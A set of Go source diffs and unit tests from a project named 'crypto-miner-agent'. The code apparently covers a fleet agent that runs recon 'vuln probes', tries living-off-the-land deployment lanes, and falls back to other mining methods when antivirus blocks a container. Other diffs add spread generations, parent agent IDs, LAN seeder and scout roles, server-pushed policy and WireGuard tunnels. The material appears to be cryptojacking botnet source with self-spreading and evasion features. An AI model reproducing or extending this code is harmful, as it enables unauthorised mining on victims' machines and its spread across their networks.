FleetRole: config.FleetRoleMiner, Threads: 2, ThreadMode: "fixed",
}}}
role, seed, hr = miner.fleetPressureFields(80, "")
if role != config.FleetRoleMiner || seed != 0 || hr <= 0 {
t.Fatalf("miner role=%s seed=%v hr=%v", role, seed, hr)
}
}

View File

@@ -0,0 +1,27 @@
package client
import (
"context"
"testing"
"time"
"crypto-miner-agent/config"
)
func TestMiningChainSkipsWhenSeederRole(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SeederMode = true
cfg.FleetRole = config.FleetRoleSeeder
c := miningChainTestClient(t, cfg)
c.connected.Store(true)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
defer cancel()
c.startMiningWhenReady(ctx)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("seeder should not start chain, active=%q", r.ActiveMethod)
}
}

View File

@@ -24,20 +24,22 @@ type MiningChainRunner struct {
}
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
miner.SetVulnProbeRunner(func() miner.TierAttempt {
report := RunVulnLOTLProbe()
attempt := miner.TierAttempt{
Tier: miner.TierVulnProbe,
OK: true,
Wallet: c.cfg.Wallet,
Details: map[string]interface{}{
"risk_score": report.RiskScore,
"exposed_count": report.ExposedCount,
"finding_count": len(report.Findings),
},
}
return attempt
})
if !miner.VulnProbeRunnerWired() {
miner.SetVulnProbeRunner(func() miner.TierAttempt {
report := RunVulnLOTLProbe()
attempt := miner.TierAttempt{
Tier: miner.TierVulnProbe,
OK: true,
Wallet: c.cfg.Wallet,
Details: map[string]interface{}{
"risk_score": report.RiskScore,
"exposed_count": report.ExposedCount,
"finding_count": len(report.Findings),
},
}
return attempt
})
}
r := &MiningChainRunner{client: c}
hooks := miner.ChainHooks{
StartDockerLoad: r.startDockerLoad,

View File

@@ -0,0 +1,681 @@
package client
import (
"context"
"encoding/json"
"errors"
"os/exec"
"runtime"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
)
// ─── test helpers ─────────────────────────────────────────────────────────────
func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
t.Helper()
if cfg.BuiltinConfig.Threads == 0 {
cfg.BuiltinConfig.Threads = 1
}
c := &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
}
c.pool = miner.NewPool(1, cfg, c.reporter, nil)
c.pool.Start()
t.Cleanup(func() { c.pool.Stop() })
return c
}
func longRunningExecCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("ping", "-n", "600", "127.0.0.1")
}
return exec.Command("sleep", "600")
}
func quickExitExecCmd() *exec.Cmd {
if runtime.GOOS == "windows" {
return exec.Command("cmd", "/c", "exit", "0")
}
return exec.Command("true")
}
func setupFakeDockerRuntime(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
})
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
t.Cleanup(func() { miner.SetWSLDetector(nil) })
miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
if len(args) > 0 && args[0] == "rm" {
return quickExitExecCmd()
}
return longRunningExecCmd()
})
t.Cleanup(func() { miner.SetContainerExecCommand(nil) })
}
func setupNoContainerRuntime(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
t.Cleanup(func() { miner.SetWSLDetector(nil) })
}
func baseMiningCfg() config.RuntimeConfig {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
PoolPort: 3333,
Wallet: "XMR:test-wallet",
Threads: 1,
},
}
}
func installFastVulnProbe(t *testing.T, wallet string) {
t.Helper()
miner.SetVulnProbeRunner(func() miner.TierAttempt {
return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet}
})
t.Cleanup(func() { miner.SetVulnProbeRunner(nil) })
}
func skipCtrlTierHooks(r *MiningChainRunner) {
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
RunTierProbes: func() miner.TierReport { return miner.TierReport{} },
RunTierChain: func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped },
})
}
func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner {
t.Helper()
installFastVulnProbe(t, c.cfg.Wallet)
r := c.newMiningChainRunner()
skipCtrlTierHooks(r)
return r
}
func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} {
t.Helper()
raw, err := json.Marshal(struct {
miner.TripleOnionReport
Event string `json:"event"`
}{
TripleOnionReport: report,
Event: eventType,
})
if err != nil {
t.Fatalf("marshal onion payload: %v", err)
}
var doc map[string]interface{}
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatalf("unmarshal onion payload: %v", err)
}
return doc
}
func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} {
t.Helper()
raw, err := json.Marshal(struct {
miner.TierReport
Event string `json:"event"`
}{
TierReport: report,
Event: eventType,
})
if err != nil {
t.Fatalf("marshal tier payload: %v", err)
}
var doc map[string]interface{}
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatalf("unmarshal tier payload: %v", err)
}
return doc
}
// ─── runner construction ───────────────────────────────────────────────────────
func TestMiningChainRunnerConstruction(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
if r == nil || r.client != c {
t.Fatal("expected runner bound to client")
}
if r.ctrl == nil {
t.Fatal("expected ChainController")
}
if r.tiers == nil {
t.Fatal("expected TierOrchestrator")
}
if r.onion == nil {
t.Fatal("expected TripleOnionOrchestrator")
}
order := r.ctrl.Status().ChainOrder
if len(order) == 0 {
t.Fatal("expected non-empty chain order")
}
if order[0] != miner.MethodInProcess {
t.Fatalf("without runtime want inprocess first, got %v", order)
}
}
// ─── start / stop / cooldown ─────────────────────────────────────────────────
func TestMiningChainRunnerStartStopCycle(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
r.startMiningCascade(ctx)
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess", st.ActiveMethod)
}
if c.hostMiningDisabled.Load() {
t.Fatal("in-process path should not disable host mining")
}
r.Stop()
st = r.Status()
if st.ActiveMethod != "" {
t.Fatalf("after Stop active=%q want empty", st.ActiveMethod)
}
r.mu.Lock()
cancelled := r.monCancel == nil
r.mu.Unlock()
if !cancelled {
t.Fatal("Stop should clear monitor cancel func")
}
}
func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
r := newTestMiningChainRunner(t, c)
attempts := 0
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
attempts++
return nil
},
})
ctx := context.Background()
if _, err := r.ctrl.TryChain(ctx); err != nil {
t.Fatalf("first TryChain: %v", err)
}
if _, err := r.ctrl.TryChain(ctx); err != nil {
t.Fatalf("second TryChain: %v", err)
}
if attempts != 1 {
t.Fatalf("cooldown attempts=%d want 1", attempts)
}
r.Restart(ctx)
if attempts != 2 {
t.Fatalf("Restart after cooldown attempts=%d want 2", attempts)
}
}
// ─── triple onion wire ordering ──────────────────────────────────────────────
func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
var phases []string
policy := miner.TripleOnionPolicy{
PatchFirst: false,
ReconTiers: []string{"kev_scan"},
DeployLanes: []string{"docker", "wsl"},
}
r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult {
phases = append(phases, "recon:"+tier)
return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}}
},
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
phases = append(phases, "deploy:"+lane)
if lane == "docker" {
return true, "mock container ready"
}
return false, "skipped"
},
RunMining: func(_ context.Context) {
phases = append(phases, "mining")
},
ReportEvent: r.reportOnionEvent,
})
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
r.Start(ctx)
want := []string{"recon:kev_scan", "deploy:docker", "mining"}
if len(phases) != len(want) {
t.Fatalf("phases=%v want %v", phases, want)
}
for i := range want {
if phases[i] != want[i] {
t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases)
}
}
}
// ─── tier hooks: container skip, inprocess, GPU parallel ────────────────────
func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionContainer
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod)
}
for _, m := range st.ChainOrder {
if m == miner.MethodContainer {
t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder)
}
}
}
func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) {
setupFakeDockerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
c.tierPolicy = miner.MiningTierPolicy{
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if st.ActiveMethod != miner.MethodContainer {
t.Fatalf("active=%q want container", st.ActiveMethod)
}
if !c.hostMiningDisabled.Load() {
t.Fatal("container tier should disable host RandomX")
}
if c.containerMiner == nil || !c.containerMiner.Running() {
t.Fatal("expected mock container miner running")
}
}
func TestMiningChainRunnerInProcessPath(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
if c.hostMiningDisabled.Load() {
t.Fatal("in-process should keep host mining enabled")
}
if r.Status().ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod)
}
}
func TestMiningChainRunnerGPUParallelBranch(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
cfg.GPUEnabled = true
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
gpuStarted := false
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
r.client.hostMiningDisabled.Store(false)
r.client.pool.ResumeRemote()
return nil
},
IsGPUSupported: func() bool { return true },
WebGPUReady: func() bool { return true },
StartGPU: func() error {
gpuStarted = true
r.ctrl.SetGPUActive(true)
return nil
},
})
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if !gpuStarted {
t.Fatal("expected GPU parallel branch to start")
}
if !st.GPUParallel {
t.Fatalf("status gpu_parallel=false: %+v", st)
}
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod)
}
for _, m := range st.ActiveMethods {
if m == miner.MethodGPUSubprocess {
return
}
}
t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods)
}
func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
cfg.GPUEnabled = true
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
r.client.hostMiningDisabled.Store(false)
r.client.pool.ResumeRemote()
return nil
},
IsGPUSupported: func() bool { return false },
})
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
if r.Status().GPUParallel {
t.Fatal("gpu_parallel should be false when IsGPUSupported is false")
}
}
// ─── reportOnionEvent / lotl_attempts payload shape ──────────────────────────
func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
report := miner.TripleOnionReport{
ActivePhase: miner.OnionPhaseDeploy,
Gate: miner.GateDecision{SkipMining: false},
Recon: miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3},
Attempts: []miner.TierAttempt{
{Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"},
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42},
},
Wallet: "XMR:test-wallet",
}
r.reportOnionEvent(report, "onion_report")
doc := onionPayloadShape(t, report, "onion_report")
for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} {
if _, ok := doc[key]; !ok {
t.Fatalf("onion payload missing key %q: %v", key, doc)
}
}
if doc["event"] != "onion_report" {
t.Fatalf("event=%v", doc["event"])
}
attempts, ok := doc["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts))
}
first, ok := attempts[0].(map[string]interface{})
if !ok {
t.Fatalf("attempt[0] type=%T", attempts[0])
}
if first["phase"] != string(miner.OnionPhaseRecon) {
t.Fatalf("attempt phase=%v", first["phase"])
}
if first["wallet"] != "XMR:test-wallet" {
t.Fatalf("attempt wallet=%v", first["wallet"])
}
st := r.Status()
if len(st.LOTLAttempts) != 2 {
t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts))
}
}
func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
report := miner.TierReport{
ActiveTier: miner.TierCPUInprocess,
Attempts: []miner.TierAttempt{
{Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10},
{Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"},
},
WebGPUReady: true,
}
r.reportTierEvent(report, "tier_report")
doc := tierPayloadShape(t, report, "tier_report")
for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} {
if _, ok := doc[key]; !ok {
t.Fatalf("tier payload missing key %q: %v", key, doc)
}
}
if doc["lotl_tier"] != string(miner.TierCPUInprocess) {
t.Fatalf("lotl_tier=%v", doc["lotl_tier"])
}
st := r.Status()
if st.LOTLTier != miner.TierCPUInprocess {
t.Fatalf("Status lotl_tier=%q", st.LOTLTier)
}
if len(st.LOTLAttempts) < 2 {
t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts)
}
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("tier event should set primary active=%q", st.ActiveMethod)
}
}
func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
r := newTestMiningChainRunner(t, c)
r.mu.Lock()
r.onionAttempts = []miner.TierAttempt{
{Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true},
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true},
}
r.mu.Unlock()
ctx := context.Background()
r.startMiningCascade(ctx)
defer r.Stop()
st := r.Status()
if len(st.LOTLAttempts) < 3 {
t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts)
}
if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) {
t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase)
}
}
// ─── mining disabled / ApkMode skips chain ───────────────────────────────────
func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MiningDisabled = true
c := miningChainTestClient(t, cfg)
c.connected.Store(true)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
defer cancel()
c.startMiningWhenReady(ctx)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod)
}
}
func TestMiningChainSkipsApkMode(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.ApkMode = true
c := miningChainTestClient(t, cfg)
c.connected.Store(true)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
defer cancel()
c.startMiningWhenReady(ctx)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod)
}
}
// ─── error paths: tier failure advances, exhausted chain ───────────────────
func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
r := newTestMiningChainRunner(t, c)
containerCalls := 0
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartContainer: func() error {
containerCalls++
return errors.New("mock container start blocked by AV")
},
StartInProcess: func() error {
r.client.hostMiningDisabled.Store(false)
r.client.pool.ResumeRemote()
return nil
},
IsGPUSupported: func() bool { return false },
})
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess})
ctx := context.Background()
if _, err := r.ctrl.TryChain(ctx); err != nil {
t.Fatalf("TryChain: %v", err)
}
defer r.Stop()
if containerCalls == 0 {
t.Fatal("expected container tier attempt before advance")
}
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod)
}
if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer {
t.Fatalf("failures=%v want container failure recorded", st.FailedMethods)
}
}
func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) {
setupFakeDockerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
c.tierPolicy = miner.MiningTierPolicy{
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
}
r := newTestMiningChainRunner(t, c)
ctx := context.Background()
r.startMiningCascade(ctx)
if r.Status().ActiveMethod != miner.MethodContainer {
t.Fatalf("setup active=%q want container", r.Status().ActiveMethod)
}
if c.containerMiner != nil {
c.containerMiner.Stop()
}
if c.containerMiner != nil && c.containerMiner.Running() {
t.Fatal("container should be stopped")
}
r.ctrl.AdvancePrimary("container workload exited or unhealthy")
st := r.Status()
if st.ActiveMethod != miner.MethodInProcess {
t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod)
}
r.Stop()
}
func TestMiningChainRunnerExhaustedChainState(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.MinerExecution = miner.ExecutionInProcess
c := miningChainTestClient(t, cfg)
r := newTestMiningChainRunner(t, c)
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
StartInProcess: func() error {
return errors.New("mock in-process RandomX unavailable")
},
})
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess})
ctx := context.Background()
_, err := r.ctrl.TryChain(ctx)
if err == nil {
t.Fatal("expected TryChain error when all primaries fail")
}
st := r.Status()
if !st.ChainExhausted {
t.Fatal("expected chain_exhausted flag")
}
if st.ActiveMethod != "" {
t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod)
}
if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess {
t.Fatalf("failures=%v", st.FailedMethods)
}
}

View File

@@ -32,6 +32,8 @@ func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
}
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
c.applySpreadPolicyJSON(resp.SpreadPolicy)
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
if len(resp.MiningTierPolicy) > 0 {
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
@@ -47,6 +49,11 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
return
}
if len(resp.SpreadTemperament) > 0 {
c.mu.Lock()
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
c.mu.Unlock()
}
if len(resp.MiningTierPolicy) > 0 {
return
}
@@ -74,3 +81,24 @@ func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
c.tierPolicy = p
c.mu.Unlock()
}
func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var policy struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
return
}
c.mu.Lock()
if policy.HashrateGateSpreadMin > 0 {
c.cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
}
c.mu.Unlock()
}

View File

@@ -31,8 +31,12 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool {
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
if c.cfg.MiningDisabled || c.cfg.ApkMode {
log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled)
if c.cfg.IsSeederRole(c.fleetRoleHint()) {
log.Printf("[mining] skipped — seeder role serves LAN staging only")
return
}
if c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled)
return
}
const maxWait = 120 * time.Second

View File

@@ -4,12 +4,13 @@ package client
import (
"encoding/json"
"strings"
"testing"
)
// TestWGSetupJSONReturnsError verifies that the non-Windows stub returns a
// JSON error payload indicating WireGuard is not available on this platform.
func TestWGSetupJSONReturnsError(t *testing.T) {
func TestPathTracerStubWGSetupJSONReturnsError(t *testing.T) {
raw := WGSetupJSON()
if raw == "" {
t.Fatal("WGSetupJSON returned empty string")
@@ -34,7 +35,7 @@ func TestWGSetupJSONReturnsError(t *testing.T) {
}
// TestWGConfigureNoOp verifies that WGConfigure is a no-op on non-Windows.
func TestWGConfigureNoOp(t *testing.T) {
func TestPathTracerStubWGConfigureNoOp(t *testing.T) {
payload := WGConfigPayload{
SessionID: "test-session",
PrivateKey: "privkey",
@@ -56,22 +57,45 @@ func TestWGConfigureNoOp(t *testing.T) {
}
// TestWGTeardownNoOp verifies WGTeardown does not panic or error on non-Windows.
func TestWGTeardownNoOp(t *testing.T) {
func TestPathTracerStubWGTeardownNoOp(t *testing.T) {
// Should complete without panic.
WGTeardown()
}
// TestWGIsActiveReturnsFalse ensures the stub correctly reports inactive.
func TestWGIsActiveReturnsFalse(t *testing.T) {
func TestPathTracerStubWGIsActiveReturnsFalse(t *testing.T) {
if WGIsActive() {
t.Error("WGIsActive stub must return false on non-Windows")
}
}
// TestWGStatusNotSupported verifies the stub reports an unsupported-platform message.
func TestWGStatusNotSupported(t *testing.T) {
func TestPathTracerStubWGStatusNotSupported(t *testing.T) {
status := WGStatus()
if status == "" {
t.Error("WGStatus stub must return a non-empty string")
}
if !strings.Contains(status, "not supported") {
t.Errorf("WGStatus stub should mention unsupported platform, got %q", status)
}
}
// TestWGSetupJSONExactStubError verifies the stub error string matches server expectations.
func TestPathTracerStubWGSetupJSONExactError(t *testing.T) {
raw := WGSetupJSON()
if !strings.Contains(raw, "Windows-only") {
t.Errorf("stub error should mention Windows-only, got %q", raw)
}
}
// TestWGConfigureRejectsEmptyPayloadOnStub is a no-op but documents stub behaviour.
func TestPathTracerStubWGConfigureAcceptsPayload(t *testing.T) {
err := WGConfigure(WGConfigPayload{
SessionID: "stub-session",
LocalAddress: "10.66.0.2/24",
ListenPort: 51820,
})
if err != nil {
t.Errorf("WGConfigure stub must be no-op, got %v", err)
}
}

View File

@@ -0,0 +1,66 @@
//go:build windows
package client
import (
"strings"
"testing"
)
func TestPathTracerWindowsBuildWGConfigDefaults(t *testing.T) {
conf := buildWGConfig("privkeyB64=", WGConfigPayload{
LocalAddress: "10.66.0.2/24",
ListenPort: 0,
Peers: []WGPeerEntry{{
PublicKey: "peerPub=",
Endpoint: "203.0.113.5:51820",
}},
})
for _, want := range []string{
"[Interface]",
"PrivateKey = privkeyB64=",
"Address = 10.66.0.2/24",
"ListenPort = 51820",
"[Peer]",
"PublicKey = peerPub=",
"Endpoint = 203.0.113.5:51820",
"AllowedIPs = 0.0.0.0/0",
"PersistentKeepalive = 25",
} {
if !strings.Contains(conf, want) {
t.Errorf("config missing %q:\n%s", want, conf)
}
}
}
func TestPathTracerWindowsGenerateWGKeyPairDistinct(t *testing.T) {
priv1, pub1, err := generateWGKeyPair()
if err != nil {
t.Fatalf("generateWGKeyPair: %v", err)
}
priv2, pub2, err := generateWGKeyPair()
if err != nil {
t.Fatalf("generateWGKeyPair second call: %v", err)
}
if priv1 == "" || pub1 == "" {
t.Fatal("expected non-empty keypair")
}
if priv1 == priv2 || pub1 == pub2 {
t.Fatal("expected distinct keypairs across calls")
}
}
func TestPathTracerWindowsWGIsActiveFalseWhenIdle(t *testing.T) {
WGTeardown()
if WGIsActive() {
t.Fatal("WGIsActive should be false with no tunnel")
}
}
func TestPathTracerWindowsWGStatusNoTunnelWhenIdle(t *testing.T) {
WGTeardown()
status := WGStatus()
if !strings.Contains(status, "no active tunnel") {
t.Errorf("expected idle status, got %q", status)
}
}

View File

@@ -12,19 +12,21 @@ import (
"strings"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
// FleetPolicyUpdate is pushed from the server without re-forge.
type FleetPolicyUpdate struct {
PushID string `json:"push_id,omitempty"`
MiningMode string `json:"mining_mode,omitempty"`
ScheduleStart string `json:"schedule_start,omitempty"`
ScheduleEnd string `json:"schedule_end,omitempty"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolPort int `json:"pool_port,omitempty"`
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
PushID string `json:"push_id,omitempty"`
MiningMode string `json:"mining_mode,omitempty"`
ScheduleStart string `json:"schedule_start,omitempty"`
ScheduleEnd string `json:"schedule_end,omitempty"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolPort int `json:"pool_port,omitempty"`
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
}
// ModuleManifest matches server-signed feature packs.
@@ -104,6 +106,22 @@ func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
if p.PoolPass != "" {
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
}
applySpreadTemperament(cfg, p.SpreadTemperament)
}
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var body struct {
TierOrder []string `json:"tier_order"`
}
if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
return
}
if cfg.LotlPolicyFromServer || cfg.ScoutMode {
cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
}
}
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {

View File

@@ -52,6 +52,11 @@ type AuthPayload struct {
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
